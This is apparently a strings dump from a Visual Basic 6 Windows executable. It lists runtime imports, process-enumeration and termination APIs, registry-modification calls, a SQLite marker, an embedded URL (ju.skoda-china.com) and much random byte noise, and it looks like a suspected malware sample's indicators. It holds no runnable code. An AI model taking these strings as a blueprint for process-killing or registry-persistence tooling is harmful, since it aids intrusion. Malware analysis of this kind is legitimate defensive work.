JUPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX
JUroot
kernel32
L1a0Y9SEcORV9
LQsD~Ss=
lstrlenA
msvbvm60
MSVBVM60.DLL
N3s5GtH0
O2eGIn4m
OpenProcess
Process32First
Process32Next
PsCaRs
PsD;Ts
Qs0LRs6
Qs|5Ds
Qs6nTs
=Qsb>Rsi
<QshrRs
Qso_Rs
QsqOQs
Qsq:Ts
QsrkSs
Qs:_RsZ
QsSuTsQhRsV
QsucRs
RegCloseKey
RegCreateKeyA
RegDeleteValueA
RegEnumKeyExA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
RsA^Rs
RsdjRsK
Rs{eRs
Rs.kTs
Rsr]Qs/
<Rs[rSs
Rs"YSs
SQLite format 3
Ss__Rs
TerminateProcess
!This program cannot be run in DOS mode.
tK62ms9KQ4
TsqbRs@
UC6MnFIW
vb6chs.dll
VBA6.DLL
__vbaAryConstruct2
__vbaAryCopy
__vbaAryDestruct
__vbaAryLock
__vbaAryMove
__vbaAryUnlock
__vbaAryVar
__vbaBoolVarNull
__vbaCastObj
__vbaChkstk
__vbaCopyBytesZero
__vbaDateVar
__vbaEnd
__vbaErase
__vbaErrorOverflow
__vbaExceptHandler
__vbaFileClose
__vbaFileCloseAll
__vbaFileOpen
__vbaFPException
__vbaFpI2
__vbaFpI4
__vbaFPInt
__vbaFpR8
__vbaFreeObj
__vbaFreeStr
__vbaFreeStrList
__vbaFreeVar
__vbaFreeVarList
__vbaGenerateBoundsError
__vbaGetOwner3
__vbaHresultCheckObj
__vbaI2I4
__vbaI2Var
__vbaI4Abs
__vbaI4Var
__vbaInStr
__vbaInStrVar
__vbaLateMemCall
__vbaLateMemCallLd
__vbaLateMemSt
__vbaLbound
__vbaLenBstr
__vbaLenBstrB
__vbaLenVar
__vbaLsetFixstr
__vbaNew
__vbaNew2
__vbaObjSet
__vbaObjSetAddref
__vbaObjVar
__vbaOnError
__vbaPowerR8
__vbaPrintFile
__vbaPutOwner3
__vbaR4Var
__vbaR8Str
__vbaR8Var
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaRedim
__vbaRedimPreserve
__vbaSetSystemError
__vbaStrCat
__vbaStrCmp
__vbaStrCopy
__vbaStrFixstr
__vbaStrI2
__vbaStrI4
__vbaStrMove
__vbaStrR8
__vbaStrToAnsi
__vbaStrToUnicode
__vbaStrUI1
__vbaStrVarMove
__vbaStrVarVal
__vbaUbound
__vbaUI1I4
__vbaUI1Var
__vbaVar2Vec
__vbaVarAnd
__vbaVarCat
__vbaVarCmpEq
__vbaVarCopy
__vbaVarDup
__vbaVarMove
__vbaVarSub
__vbaVarTstEq
__vbaVarTstGt
VcF7RP2IBm14Px
WaitForSingleObject
wrcbydjakrder
wSs+oRs
?zhttp://ju.skoda-china.com/
ZSsDZSs